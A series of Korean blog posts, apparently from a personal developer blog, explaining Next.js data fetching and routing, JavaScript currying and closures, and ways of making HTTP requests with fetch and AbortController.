빌드를 해보면 아래와 같이 메시지가 출력된다.

```text
...
Automatically optimizing pages ..fetchData in build time!
Automatically optimizing pages

Page                                                           Size     First Load
┌ λ /                                                          458 B       68.2 kB
├   /_app                                                      352 B       67.7 kB
├ λ /about                                                     301 B         68 kB
├ ● /data                                                      412 B       68.2 kB
└ λ /posts/[id]                                                303 B         68 kB
+ shared by all                                                67.7 kB
  ├ static/pages/_app.js                                       352 B
  ├ chunks/d43014630f87ab6320ffd55320a44642064161b7.111b68.js  9.77 kB
  ├ chunks/framework.9daf87.js                                 40.1 kB
  ├ runtime/main.d2cfdc.js                                     16.8 kB
  └ runtime/webpack.a34f97.js                                  744 B

λ  (Server)  server-side renders at runtime (uses getInitialProps or getServerSideProps)
○  (Static)  automatically rendered as static HTML (uses no initial props)
●  (SSG)     automatically generated as static HTML + JSON (uses getStaticProps)
...
```

data를 빌드시에 미리 땡겨와서 static하게 제공한다는 것을 알 수 있다. 그리고 next를 실행해보면 데이터 fetch를 하지 않는다는 것을 알 수 있다. 이미 빌드 시에 데이터를 땡겨 왔기 때문에, 굉장히 빠른 속도로 페이지가 로딩 된다.

`getStaticProps` 는 아래와 같은 경우에 유용할 것이다.

- 매 유저의 요청마다 fetch할 필요가 없는 데이터를 가진 페이지를 렌더링 할때
- headless CMS로 부터 데이터가 올때
- 유저에 구애받지 않고 퍼블릭하게 캐시할 수 있는 데이터
- SEO 등의 이슈로 인해 빠르게 미리 렌더링 해야만 하는 페이지. `getStaticProps`는 HTML과 JSON파일을 모두 생성해 두기 때문에, 성능을 향상시키기 위해 CDN 캐시를 하기 쉽다.

그리고 아래와 같은 사항을 유념해 두자.

- 빌드 타임에서만 실행된다.
- 서버사이드 코드다. 절대 클라이언트 사이드에서 실행되지 않는다. 심지어 브라우저 JS 번들에도 포함되지 않는다. 그냥 props결과물 자체를 JS 번들에 포함시키고 있다. 페이지에서 소스 보기를 하면, 아래 처럼 데이터를 아예 들고 있는 것을 볼 수 있다.

```html
<script id="__NEXT_DATA__" type="application/json">
  {
    "props": {
      "pageProps": {
        "data": [
          {
            "id": "1",
            "employee_name": "Tiger Nixon",
            "employee_salary": "320800",
            "employee_age": "61",
            "profile_image": ""
          }
        ]
      },
      "__N_SSG": true
    },
    "page": "/data",
    "query": {},
    "buildId": "ExAlLKs0H7K3JGmYT162x",
    "nextExport": false,
    "isFallback": false,
    "gsp": true
  }
</script>
```

- Page에서만 가능하다.
- 개발 모드에서는 매 번 요청이 간다.

## 3. getStaticPaths

위에서 언급한 `getStaticProps`와 매우 유사하다. 차이가 있다면, `getStaticPaths`는 다이나믹 라우트에서만 쓴다는 것이다. 설명보단 예시를 보는게 더 빠르다.

**/pages/post/[id].tsx**

```typescript
import React from 'react'
import fetch from 'isomorphic-fetch'
import { GetStaticProps } from 'next'

interface PostInterface {
  userId: number
  id: number
  title: string
  body: string
}

export default function Employee({ todo }: { todo: PostInterface }) {
  const { userId, id, title, body } = todo
  return (
    <>
      <h1>Todo</h1>
      <div>userId: {userId}</div>
      <div>id: {id}</div>
      <div>title: {title}</div>
      <div>body: {body}</div>
    </>
  )
}

export async function getStaticPaths() {
  const response = await fetch('https://jsonplaceholder.typicode.com/posts')
  const data = await response.json()

  const paths = data.map(({ id }: PostInterface) => ({
    params: { id: String(id) },
  }))

  return { paths, fallback: false }
}

export const getStaticProps: GetStaticProps = async ({ params }) => {
  const response = await fetch(
    `https://jsonplaceholder.typicode.com/posts/${params?.id}`,
  )
  const data = await response.json()

  return {
    props: { todo: data },
  }
}
```

`getStaticPaths` 에서 `/pages/post/[id]`로 접근 가능한 모든 목록을 땡겨온다. 그리고 가능한 접근 목록을

```json
[{"params": {"id": 1}}, {"params": {"id": 2}}]
```

와 같은 형태로 만들어 둔다. 문서와 다르게 꼭 주의 해야 할 것은 **value는 무조건 string 이어야 한다는 것이다.** 그리고 이제 빌드 타임에 가능한 모두 경우의 수를 땡겨와서 - 빌드 하게 된다.

몇 가지 더 샘플을 보도록 하자.

**pages/todo/[userId]/[id].tsx**

```typescript
export async function getStaticPaths() {
  const response = await fetch('https://jsonplaceholder.typicode.com/todos/')
  const data = await response.json()

  const paths = data.map(({id, userId}: TodoInterface) => ({
    params: {userId: String(userId), id: String(id)},
  }))

  return {paths, fallback: false}
}
```

**pages/todo/[...slug].tsx**

```typescript
export async function getStaticPaths() {
  const response = await fetch('https://jsonplaceholder.typicode.com/posts/')
  const data = await response.json()

  const paths = data.reduce(
    (acc: Array<{params: {slug: string[]}}>, {userId, id}: PostInterface) => {
      return acc.concat([
        {params: {slug: [String(userId), String(id)]}},
        {params: {slug: [String(id)]}},
      ])
    },
    [],
  )

  return {paths, fallback: false}
}
```

이렇게 array 형태로 넘겨주면 된다.

```json
{"slug":["10","95"]}},{"params":{"slug":["95"]}}
```

`getStaticProps`에서는 `params`로 접근하면

```json
{"slug": ["1", "3"]}
```

여기서 꺼내 쓰면 된다.

`getStaticPaths`는 리턴 값으로 앞서 만들었던 `paths`와 `fallback`을 넘겨준다. `fallback`을 true나 false가 가능하다. false라면 nextjs의 404가 뜬다. 이는 미리 만들어 두어야 할 페이지의 수가 적을 때, 빌드 타임을 짧게 가져감으로서 이익을 볼 수 있다.

만약 `fallback`의 값이 true라면 `getStaticProps`는 아래와 같이 달라진다.

- `getStaticPaths`에서 리턴되는 `paths`는 빌드타임에 HTML이 렌더링 된다.

- 여기서 생성되지 않는 예외 Path들은 404 페이지를 리턴하지 않는다. 대신, NextJs는 fallback page를 보여주게 된다. 아래 예시를 살펴보자.

```typescript
export default function Employee({ todo }: { todo: PostInterface }) {
  const { isFallback } = useRouter()

  if (isFallback) {
    return <>Fail!</>
  }

  const { userId, id, title, body } = todo
  return (
    <>
      <h1>Todo</h1>
      <div>userId: {userId}</div>
      <div>id: {id}</div>
      <div>title: {title}</div>
      <div>body: {body}</div>
    </>
  )
}

export async function getStaticPaths() {
  const response = await fetch('https://jsonplaceholder.typicode.com/posts')
  const data = await response.json()

  const paths = data.map(({ id }: PostInterface) => ({
    params: { id: String(id) },
  }))

  return { paths, fallback: true }
}
```

Fallback 페이지의 props는 아무것도 없다. 따라서 props를 가공하는 처리를 해서는 안된다.

- 해당 path가 없는 페이지에 대해서 Nextjs는 서버단에서 정적인 HTML과 JSON을 만들어 둔다. 여기에는 `getStaticProps`을 실행하는 것도 포함된다.

- 위 작업이 끝났다면, 브라우저는 해당 path에 따라서 만든 JSON을 받게된다. 이 JSON은 페이지 렌더링에 필요한 Props를 제공하는데 사용된다. 유저 입장에서는, fallback 페이지에서 전체 페이지로 스왑되는 것으로 보일 것이다. (fallback이 잠시 보였다가 다시 받아온 props로 그리는 페이지가 나타남 (isFallback이 true에서 false로 바뀜))

- 이와 동시에, 해당 path를 미리 렌더링한 path에 추가해둔다. 같은 path로 오는 요청들은 이제 마치 빌드시에 사전에 렌더링해 둔 페이지 처럼 제공된다.

복잡하다. 예를 들어서 설명해보자.

```typescript
export async function getStaticPaths() {
  const items = Array.from(Array(10).keys())

  const paths = items.map(value => ({
    params: { id: String(value) },
  }))

  return { paths, fallback: true }
}

export const getStaticProps: GetStaticProps = async ({ params }) => {
  const id = params?.id

  if (Number(id) > 10) {
    return {
      props: {
        todo: {
          userId: 1,
          id,
          title: `이건 에러야.`,
          body: `아 이건 에러라니깐.`,
        },
      },
    }
  } else {
    return {
      props: {
        todo: {
          userId: 1,
          id,
          title: `할일 ${id}`,
          body: `이거 하자. ${id}`,
        },
      },
    }
  }
```

개 떡 같은 코드지만 (...) `getStaticPaths`는 `/todo/0` 부터 `/todo/9`까지만 미리 빌드 타임에 만들어 둔다.

```text
 ● /todo/[id]                                                 378 B       68.1 kB
    ├ /todo/0
    ├ /todo/1
    ├ /todo/2
    └ [+7 more paths]
```

그리고 만약 어떤 사용자가 처음으로 `/todo/1111`로 접근했다고 가정해보자. 그럼 사용자는 잠시 fallback 페이지를 봤다가, 다시 `getStaticProps`가 렌더링해주는 에러 페이지를 보게된다. 그리고 nextjs는 해당 path에 대해 렌더링 해둔 것을 저장해둔다. 그리고 이후에 다시 접근하는 사용자는 fallback 페이지를 보지 않고 바로 앞서 만들어 두었던 페이지를 보여주게 된다.

fallback 페이지는 언제 유용할까?

아주 큰 커머스 사이트와 같이, 데이터에 따라 만들어 두어야할 정적페이지가 많은 사이트에서 유리할 것이다. 모든 페이지를 빌드시에 만들어 두고 싶지만, 그랬다가는 빌드가 엄청나게 오래걸릴 것이다. 대신, 미리 몇개의 주요 페이지만 만들어두고, 나머지는 `fallback: true`로 처리하자. 누군가 아직 만들어지지 않은 페이지에 접근하려 한다면, 유저에게 로딩 인디케이터를 띄우자. 그러면 백그라운드에서는 `getStaticProps`를 실행해서 렌더링에 필요한 데이터를 가져올 것이다. 그리고 이 작업이 끝난다면, 다른 유저들은 이제 미리 렌더링된 정적인 페이지를 볼 수 있다.

그리고 아래와 같은 사항을 유념해 두자.

- 항상 `getStaticProps`와 짝으로 쓰자. 그리고 `getServerSideProps`와는 쓸수가 없다.
- `getStaticPaths`는 서버사이드에서 빌드 타임에만 실행된다.
- `getStaticPaths`는 페이지에서만 사용 가능하다.
- 개발 모드에서는 항상 실행된다.

## 4. getServerSideProps

`getServerSideProps`를 사용하면, 각 요청 마다 `getServerSideProps`에서 리턴한 데이터를 받아다가 서버사이드에서 미리 렌더링을 하게 된다.

```javascript
export async function getServerSideProps(context) {
  return {
    props: {},
  }
}
```

빌드를 하게 되면, 아래와 같이 나타난다.

```text
Page                                                           Size     First Load
...
├ λ /server                                                    415 B       68.2 kB
...

λ  (Server)  server-side renders at runtime (uses getInitialProps or getServerSideProps)
○  (Static)  automatically rendered as static HTML (uses no initial props)
●  (SSG)     automatically generated as static HTML + JSON (uses getStaticProps)
```

context에는 다음과 같은 것들이 포함되어 있다.

- `params`: 다이나믹 라우트 페이지라면, `params`를 라우트 파라미터 정보를 가지고 있다.
- `req`: [HTTP request object](https://nodejs.org/api/http.html#http_class_http_incomingmessage)
- `res`: [HTTP response object](https://nodejs.org/api/http.html#http_class_http_serverresponse)
- `query`: 쿼리스트링
- `preview`: `preview` 모드 여부 [preview mode](https://nextjs.org/docs/advanced-features/preview-mode)
- `previewData`: `setPreviewData`로 설정된 데이터

언제 써야 할까?

`getServerSideProps`는 페이지를 렌더링하기전에 반드시 fetch해야할 데이터가 있을 때 사용한다. 매 페이지 요청시마다 호출되므로 당연히, TTFB가 `getStaticProps`보다 느리다.

그리고 아래와 같은 사항을 유념해 두자.

- `getServerSideProps`는 서버사이드에서만 실행되고, 절대로 브라우저에서 실행되지 않는다.
- `getServerSideProps`는 매 요청시 마다 실행되고, 그 결과에 따른 값을 props로 넘겨준 뒤 렌더링을 한다.
- `next/link`를 이용해서 클라이언트 사이드 페이지 트렌지션을 하더라도, `getInitialProps`와는 다르게 무조건 서버에서 실행된다.
- 당연히 page 에서만 실행할 수 있다.

---

Source: https://yceffort.kr/2020/03/nextjs-01-route.md
Title: NextJS 1. Page & Route
Description: 요즘 리액트를 쓰는 많은 프로젝트에서, SSR을 지원하기 위해 [nextjs](https://nextjs.org/)를 쓰고 있다. 초기 로딩 속도나, SEO 지원 이슈 등 등 때문에 아무래도 SPA는 요즘 트렌드에서 많이 밀린 기분이다. 물론 [razzle](https://github.com/jaredpalmer/razzle) 을 쓰거나 custom ser...
Date: 2020-03-12
Tags: nextjs, react, frontend

요즘 리액트를 쓰는 많은 프로젝트에서, SSR을 지원하기 위해 [nextjs](https://nextjs.org/)를 쓰고 있다. 초기 로딩 속도나, SEO 지원 이슈 등 등 때문에 아무래도 SPA는 요즘 트렌드에서 많이 밀린 기분이다. 물론 [razzle](https://github.com/jaredpalmer/razzle) 을 쓰거나 custom server 로 맨 바닥에 해딩하는 방법도 있지만 여기저기 컨퍼런스나 주변 사람들의 말을 들어보면 nextjs가 대세이긴 한 것 같다.

입사 이래로 nextjs를 쓰면서 별 생각 없이 썼던 것들이 많은데, 9.3 출시를 기념하여 이참에 하나씩 정리해보려고 한다.

## Table of Contents

## 1. Page

기본적으로, `pages/파일명.js|ts|tsx` 네이밍으로 파일을 만들면 `/파일명` 으로 라우팅을 할 수 있다. `pages/about.js`로 파일을 만들면 `/about`으로 접근이 가능하다.

다이나믹 라우트의 경우에도 비슷하다. `pages/디렉터리명/[id].js|ts|tsx`로 생성하게되면, `디렉토리명/id`로 접근 가능하다. 예를 들어 `pages/posts/[id].tsx`로 파일을 생성하면, `posts/1`, `posts/2` 와 같은 식으로 접근이 가능하다.

### pages/posts/[id].tsx

```typescript
import React from 'react'
import { useRouter } from 'next/router'

export default function Post() {
  const router = useRouter()
  const { id } = router.query
  return <div>Post id {id}</div>
}
```

임의로 선언한 id 는 위처럼 받아서 처리할 수 있다.

nested routes도 위와 마찬가지로 처리하면 된다.

## 2. Routing

Nextjs에서는 SPA와 유사한 클라이언트 사이드 라우팅을 지원한다. `Link`라고 불리는 컴포넌트를 활용하면, 클라이언트 사이드 라우팅을 할 수 있다.

```jsx
import Link from 'next/link'

function Home() {
  return (
    <Link href="/">
      <a>Home</a>
    </Link>
  )
}
export default Home
```

nextjs 는 `Link`를 적절한 a 태그로 변환해 준다.

위에서 언급한 다이나믹 라우트의 경우에는, 처리하는 방식이 조금 다르다. `href`와 `as`를 전달해 주어야 한다.

- `href`: 디렉토리 명을 넘겨주면 된다. `/posts/[id]`
- `as`: 브라우저에 실제로 표시될 주소를 넘긴다. `/posts/1`

```jsx
import Link from 'next/link'

function Home() {
  return (
    <ul>
      <li>
        <Link href="/posts/[id]" as="/posts/1">
          <a>To Post</a>
        </Link>
      </li>
    </ul>
  )
}

export default Home
```

## 3. Router

nextjs의 라우터 안에는 다음과 같은 정보가 포함되어 있다.

- `pathname`: (String) 현재 라우트
- `query`: (Object) object로 파싱한 query string
- `asPath`: (String) 실제로 브라우저에 표시되고 있는 path

그리고 아래와 같은 router api도 포함되어 있다.

### 3-1. Router Api

#### Router.push

클라이언트 사이드 트랜지션을 다룰 때 쓰는 api다.

```tsx
import Router from 'next/router'
Router.push(url, as, options)
```

- `url`: 이동할 URL을 명시한다. 보통 `page`명을 넣는다
- `as`: 옵셔널 파라미터로, 브라우저에서 보여질 URL이다. 없으면 default로 `url`이 들어간다.
- `options`: 은 shallow만 옵션으로 가질 수 있다.
  - `shallow`: `getInitialProps`를 재실행하지 않고 현재 페이지의 라우트를 업데이트 한다. 기본값은 false다.

무슨 소리하는지 모르겠다. 예제로 알아보자.

`index.tsx`

```typescript
import React from 'react'
import { useRouter } from 'next/router'
import { NextPageContext } from 'next'

export default function Index() {
  const { push } = useRouter()

  function pushOnlyUrl() {
    push('/posts/1')
  }

  function pushWithAs() {
    push('/posts/[id]?hello=world', '/posts/1')
  }

  function shallowPush() {
    push('/?counter=1', undefined, { shallow: true })
  }

  function notShallowPush() {
    push('/?counter=1')
  }

  function pushUrl() {
    push('/about')
  }

  function pushUrlAndAs() {
    push('/about', '/about')
  }

  return (
    <>
      <ul>
        <li>
          <button onClick={() => pushOnlyUrl()}>1번. Push only URL</button>
        </li>
        <li>
          <button onClick={() => pushWithAs()}>2번. Push with as</button>
        </li>
        <li>
          <button onClick={() => shallowPush()}>3번. shallow push</button>
        </li>
        <li>
          <button onClick={() => notShallowPush()}>
            4번. not shallow push
          </button>
        </li>
        <li>
          <button onClick={() => pushUrl()}>5번. push route</button>
        </li>
        <li>
          <button onClick={() => pushUrlAndAs()}>
            6번. push route with as
          </button>
        </li>
      </ul>
    </>
  )
}

Index.getInitialProps = function (_: NextPageContext) {
  console.log('getInitialProps of Index')

  return {}
}
```

`[id].tsx`

```typescript
import React from 'react'
import { useRouter } from 'next/router'
import { NextPageContext } from 'next'

export default function Post() {
  const router = useRouter()

  console.log('Router', JSON.stringify(router))

  const { id } = router.query
  return <div>Post id {id}</div>
}

Post.getInitialProps = function ({ req }: NextPageContext) {
  console.log('getInitialProps of Post')

  return {}
}
```

`about.tsx`

```typescript
import React from 'react'
import { NextPageContext } from 'next'

export default function About() {
  return <div>about page</div>
}

About.getInitialProps = function (_: NextPageContext) {
  console.log('getInitialProps of about')

  return {}
}
```

1번 버튼: getInitialProps가 서버에 찍힌다. 서버사이드에서 실행되었음을 알수가 있다. 1번 버튼 동작은 사용자가 브라우저에서 주소를 치고 들어오는 것과 동일하다.

```json
{
  "pathname": "/posts/[id]",
  "route": "/posts/[id]",
  "query": {"id": "1"},
  "asPath": "/posts/1",
  "components": {
    "/posts/[id]": {"props": {"pageProps": {}}},
    "/_app": {}
  },
  "isFallback": false,
  "events": {}
}
```

2번 버튼: getInitialProps가 클라이언트에 찍힌다. 클라이언트 사이드에서 실행되었음을 알수가 있다. 그리고 또한 url에서 보냈던 쿼리스트링이 사용자 브라우저 URL에는 감춰진 것을 알수 있다. 그러나 Post 컴포넌트에서 해당 값을 받아다가 쓸 수 있다.

```json
{
  "pathname": "/posts/[id]",
  "route": "/posts/[id]",
  "query": {"hello": "world", "id": "1"},
  "asPath": "/posts/1",
  "components": {
    "/": {"props": {"pageProps": {}}},
    "/_app": {},
    "/posts/[id]": {"props": {"pageProps": {}}}
  },
  "isFallback": false,
  "events": {}
}
```

3번 버튼: index의 getInitialProps가 실행되면서 쿼리스트링이 변했다.

4번 버튼: index의 getInitialProps가 실행되지 않고 쿼리스트링이 변했다.

5번과 6번 버튼: 다이나믹 라우트가 아니기 때문에, 동작이 동일하다. (getInitialProps가 클라이언트에 찍힘). 그러나 사용자가 주소를 직접 치고 들어간다면 서버사이드에 찍힐 것이다.

#### Router.Replace

Replace는 Push와 받는 파라미터도 동일하지만, 동작만 다르다. 이름에서 알 수 있는 것 처럼 Replace는 URL에 새로운 스택을 쌓지 않는다.

#### Router.beforePopState

몇 몇의 경우 (특히 커스텀 서버를 쓰는 경우) [popsState](https://developer.mozilla.org/en-US/docs/Web/API/Window/popstate_event) 요청을 받아서 라우트에서 액션이 일어나기 전에 무언가를 하고 싶을 수 있다.

> Window 인터페이스의 popstate 이벤트는 사용자의 세션 기록 탐색으로 인해 현재 활성화된 기록 항목이 바뀔 때 발생합니다.

`_app.tsx`

```typescript
function App({ Component, pageProps }: AppProps) {
  const router = useRouter()

  useEffect(() => {
    router.beforePopState(() => {
      console.log('beforePopState!!')
      return true
    })

    return () => {
      router.beforePopState(() => true)
    }
  }, [])
  return <Component {...pageProps} />
}
```

next의 routing이 아닌, 사용자가 히스토리를 직접 조작하는 행위 (뒤로가기, 앞으로가기 등)가 일어날 경우 해당 메소드가 호출된다. 만약 false를 리턴할 경우, Router는 `popState`를 처리하지 않는다. (주소는 바뀌지만 아무 일이 일어나지 않는다.)

#### Router.events

Router에서 일어나는 다양한 이벤트를 감지 할 수 있다.

여기서 url은 브라우저에 뜨는 url을 의미한다. 만약 as를 썼다면, 여기서 url값은 as 값이 될 것이다.

- `routerChangeStart(url)`: route가 변하기 시작할 때
- `routerChangeComplete(url)`: route의 변화가 끝났을 때
- `routerChangeError(err, url)`: route가 바뀌는 과정에서 에러가 나거나, route 로딩이 취소되었을 때
  - `err.cancelled`: 네비게이션이 취소되었는지 여부
- `beforeHistoryChange(url)`: 브라우저 히스토리가 바뀌기 전에
- `hashChangeStart(url)`: 해쉬값이 변할 때
- `hashChangeComplete(url)`: 해쉬값이 다 변하고 난 뒤 에

```typescript
useEffect(() => {
  router.events.on('routeChangeStart', (as) => {
    console.log('routeChangeStart', as)
  })
}, [])
```

---

Source: https://yceffort.kr/2020/03/javascript-currying-closure.md
Title: 자바스크립트 커링과 클로져
Description: ## 커링 [이 글](https://www.sitepoint.com/currying-in-functional-javascript/) 에 잘 정리 되어 있습니다.  Currying은 여러 개의 인자를 가진 함수를 호출 할 경우, 파라미터의 수보다 적은 수의 파라미터를 인자로 받으면 누락된 파라미터를 인자로 받는 기법을 말한다.  즉 커링은 함수 하나가 n개...
Date: 2020-03-05
Tags: javascript

## 커링

[이 글](https://www.sitepoint.com/currying-in-functional-javascript/) 에 잘 정리 되어 있습니다.

Currying은 여러 개의 인자를 가진 함수를 호출 할 경우, 파라미터의 수보다 적은 수의 파라미터를 인자로 받으면 누락된 파라미터를 인자로 받는 기법을 말한다.

즉 커링은 함수 하나가 n개의 인자를 받는 과정을 n개의 함수로 각각의 인자를 받도록 하는 것이다. 부분적으로 적용된 함수를 체인으로 계속 생성해 결과적으로 값을 처리하도록 하는 것이 그 본질이다.

```javascript
function add(a) {
  console.log(`a of add: ${a}`)
  return function (b) {
    console.log(`a: ${a} / b: ${b}`)
    return a + b
  }
}

add(1)(2) // 이 결과는 3이다.
```

`add(1)`을 javascript 콘솔에서 찍어보면 아래와 같이 나온다.

```javascript
ƒ (b) {
    console.log(`a: ${a} / b: ${b}`)
    return a + b
  }
```

먼저 `add(1)`이 실행되면 위의 함수를 리턴한다. 저 함수 내에서 a 는 1로 기억되고 있다. 그리고 `add(1)`의 결과를 바로 그 다음인 2 파라미터와 함께 바로 실행했다. 그 결과 3이 되었다.

```javascript
var add1 = add(1)
add1(2) // 3
add1(3) // 4
```

`add1`이 선언된 순간, 이 함수가 리턴하는 익명함수는 클로저가 되었다. 이 익명함수에서는, a가 정의된적은 없지만 클로저는 그 함수가 실행된 환경을 기억하고 있으므로 1을 기억하고 익명함수에 계속해서 a = 1이라는 사실을 가지고 함수를 실행하게 된다.

물론 더욱 복잡하게 만들 수도 있다.

```javascript
function add(a) {
  return function (b) {
    return function (c) {
      return a + b + c
    }
  }
}

add(1)(2)(3) // 6
```

위를 화살표 함수로 쓴다면 아래와 같다.

```javascript
const add = (a) => (b) => (c) => a + b + c
```

화살표 함수를 쓰니까 더 간결해졌다.

---

Source: https://yceffort.kr/2020/01/think-about-fetch.md
Title: 자바스크립트에서 http 요청하기 - fetch에 대한 고찰
Description: `toc tight: true, from-heading: 2 to-heading: 3 ` ## 1. 서론 자바스크립트에서 http 요청을 하는 것은 이제 비일비재한 일이 되었다. 서버에서 모든 데이터를 가져와서 static 한 html을 만들어서 보여주고 있는 웹페이지는 아마 찾기 어려울 것이다. 맨 처음 웹을 배울 때, jquery의 ajax ...
Date: 2020-01-22
Tags: javascript, web-performance

## Table of Contents

## 1. 서론

자바스크립트에서 http 요청을 하는 것은 이제 비일비재한 일이 되었다. 서버에서 모든 데이터를 가져와서 static 한 html을 만들어서 보여주고 있는 웹페이지는 아마 찾기 어려울 것이다. 맨 처음 웹을 배울 때, jquery의 ajax 요청을 배우 던 것이 한 5년 전 쯤 되었다. 비동기 http 요청이 비일비재한 요즘, 지금은 그 기술이 어디까지 왔을까? 그리고 어떻게 써야 더 깔끔하게 쓸수 있을까?

## 2. XMLHttpRequest

- [Caniuse: XMLHttpRequest](https://caniuse.com/#search=XMLHttpRequest)
- [MDN: XMLHttpRequest](https://developer.mozilla.org/ko/docs/Web/API/XMLHttpRequest)
- [whatwg: XMLHttpRequest](https://xhr.spec.whatwg.org/)

가장 원초적으로 요청을 날리는 방법이다. 지금이 API를 이용하여 호출하고 있는 사람은 아마 없을 것이다.

```javascript
var xmlHttp = new XMLHttpRequest()

xmlHttp.onreadystatechange = function () {
  if (this.status == 200 && this.readyState == this.DONE) {
    console.log(xmlHttp.responseText)
  }
}

xmlHttp.open('GET', '/yceffort/request.txt', true)

xmlHttp.send()
```

어차피 쓸 일도 거의 없고, 스펙은 위 링크에서 자세히 나와있을 테니 생략한다.

## 3. JQuery Ajax

아직도 많은 곳에서 쓰고 있을 우리 친구 JQuery와 그의 친구 `JQuery.Ajax`다.

- [jquery: ajax](https://api.jquery.com/jquery.ajax/)

```javascript
$.ajax({
  url: '/yceffort/request.txt',
  success: function (data) {
    console.log(data)
  },
})
```

마찬가지로 자세한 스펙 설명은 마찬가지로 생략한다. 물론 여기까지만 안다 하더라도, 왠만한 수준의 request는 처리할 수 있다. 그러나 복잡한 유즈케이스에서는 조금 더 이야기하기 피곤해진다.

만약 1번 request의 정보를 받아서 2번 request를 날리고, 3번 request를 날려야 하면 어떻게 될까?

```javascript
$.ajax({
  url: "/yceffort/request1.json",
  success: function(data) {
    const result = JSON.parse(data);
    $.ajax({
        url: `/yceffort/request2.json?data=${result.data}`
        success: function(data2){
            const result2 = JSON.parse(data2);
            $.ajax({
                url: `/yceffort/request2.json?data=${result2.data}`
                success: function(data3){
                    ......
                }
            })
        }
    })
  },
})
```

[Promise의 callback hell](http://callbackhell.com/)의 지옥도가 여기서도 보이게 된다. 물론 이래저래 callback을 풀어내는 방법도 있지만, 여전히 then(success)의 체이닝 콤보를 벗어날 수가 없다.

## 3. async await & fetch

> fetch는 물론 promise로도 쓸 수 있다.

es7 에서 추가된 async await과 fetch api를 활용한다면, 위의 코드를 조금더 깔끔 하게 쓸 수 있다.

- [MDN: async](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/async_function)
- [MDN: await](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/await)
- [MDN: fetch](https://developer.mozilla.org/ko/docs/Web/API/Fetch_API)
- [wahtwg: fetch](https://fetch.spec.whatwg.org/)

```javascript
const response1 = await fetch('/yceffort/data1.json')
const result1 = await response1.json()

const response2 = await fetch(`/yceffort/data2.json?${result1.data}`)
const result2 = await response2.json()

const response3 = await fetch(`/yceffort/data3.json?${result2.data}`)
const result3 = await response3.json()
```

fetch api는 XMLHttpRequest와 비슷하지만, 조금더 강력하고 유연한 조작이 가능하다. 또한 CORS, http origin header에 관한 개념도 정리되어 있다.

```javascript
fetch("/yceffort/data1.json", {
  method: "POST",
  mode: 'cors',
  cache: 'no-cache',
  headers:  {"Content-Type", "application/json"},
  credentials: "same-origin",
  body: JSON.stringify(bodyData)
});
```

이 외에도 다양한 옵션들이 있으니, 스펙을 참고해보자. 그러나 이 fetch api에는 단점이 존재한다. 바로 우리가 사랑하는 익스플로러를 지원하지 않는다는 것이다.

[Caniuse: Fetch](https://caniuse.com/#search=fetch)

아쉽게도, fetch를 바로 쓸 수는 없다. (이미 async, await을 쓴 시점 부터 글렀지만)

## 4. fetch polyfill

여러가지 fetch Polyfill이 존재하지만, 그 중에서 가장 많이 사용되는 것은 [isomorphic-fetch](https://github.com/matthew-andrews/isomorphic-fetch)와 [axios](https://github.com/axios/axios)가 있는 것 같다. 둘 중에 뭘 써야 되는 글이 [여기](https://gist.github.com/jsjoeio/0fd8563bc23ef852bc921836512992d9) [저기](https://stackoverflow.com/questions/40844297/what-is-difference-between-axios-and-fetch) 많이 존재한다. 대충 요약하면, isomorphic-fetch은 polyfill이 필요한 대신 원래 fetch와 가장 비슷하고(이름부터가 `isomorphic`다!) 가볍다. 반면에 axios는 사용법은 조금 다르지만 무겁고 더 여러가지 기능을 제공하는 것 같다. 취향 껏 쓰자. 여기서는 `isomorphic-fetch`를 기준으로 쓴다.

## 5. deep dive to fetch

데이터를 제공하는 api 서버가 존재하고, 여기에서 모든 응답을 json으로 내려 준다고 가정하자. 어떠한 경우에도 사용자에게 에러를 보여주지 않고 (100% 커버할 순 없지만) 최대한 자연스럽게 fetch를 해야 한다면 어떻게 해야할까?

### 5-1. 에러 처리

```javascript
const response = await `/yceffort/data1`

// 200이 아닐 경우의 처리
if (!response.ok) {
  captureException(`failed to fetch /yceffort/data1. [${response.code}]`)
}

try {
  const result = await response.json()
} catch (e) {
  // json 으로 파싱을 못할때의 처리
  captureException(`failed to parse /yceffort/data1, ${e}`)
}
```

### 5-2. Abortable Fetch

[참고](https://developers.google.com/web/updates/2017/09/abortable-fetch?hl=ko)

몇몇 fetch 요청은 그 시간이 오래 걸리거나, 사용자의 요청으로 취소를 할 수도 있어야 하는 경우가 발생한다. 그 경우 사용하는 것이 [AbortController](https://developer.mozilla.org/en-US/docs/Web/API/AbortController)다.

```javascript
const controller = new AbortController()
const signal = controller.signal

setTimeout(() => controller.abort(), 5000)

fetch(url, {signal})
  .then((response) => {
    return response.text()
  })
  .then((text) => {
    console.log(text)
  })
```

5초 뒤에 자동으로 abort 되는 코드이다. fetch를 abort하게되면, request와 response 모두 취소된다. 따라서, `response.text()`도 취소된다.

```text
DOMException: The user aborted a request.
```

fetch시에 발생한 exception이 abort인지를 구별하기 위해서는 아래와 같이 처리하면 된다.

```javascript
fetch(url, {signal})
  .then((response) => {
    return response.text()
  })
  .then((text) => {
    console.log(text)
  })
  .catch((err) => {
    if (err.name === 'AbortError') {
      console.log('Fetch aborted by user')
    } else {
      console.error('other error', err)
    }
  })
```

### 5-3. fetch in react

이렇게 복잡한 fetch를 리액트스럽게 처리하는 라이브러리가 여기저기 있다.

- [use-http](https://github.com/alex-cory/use-http)
- [useSWR](https://github.com/zeit/swr)

대충 여기서 얘기 한 것 들을 기준으로, `useFetch`를 만들어 보자.

```javascript
const useFetch = (url, options) => {
  const [response, setResponse] = useState(null);
  const [error, setError] = useState(null);
  const [isLoading, setIsLoading] = useState(false);

  const controller = new AbortController()
  const signal = controller.signal

  useEffect(() => {
    const fetchData = async () => {
      setIsLoading(true);
      try {
        const response = await fetch(url, {...options, {signal});
        const result = await res.json();
        setResponse(result);
        setIsLoading(false)
      } catch (error) {
        setError(error);
      }
    };
    fetchData();
  }, []);
  return { response, error, isLoading, signal };
};
```

## 6. 결론

잘 만들어진 걸 가져다 쓰자.

---

Source: https://yceffort.kr/2020/01/learning-from-react-count-down.md
Title: React count down에서 배운 event-emitter 와 requestAnimationFrame
Description: # 리액트에서 카운트 다운을 만들며 배운 것들 리액트에서 카운트 다운을 만든다고 가정해보자. 가장 먼저 생각나는대로, 빠르게 구현한다면 아래와 같은 느낌이 될 것이다.  https://codepen.io/yceffort/pen/BayPyNe  하지만 이 코드는 한가지 문제를 가지고 있다.  ## setInterval, setTimeout  `setInte...
Date: 2020-01-15
Tags: react, javascript, web-performance

# 리액트에서 카운트 다운을 만들며 배운 것들

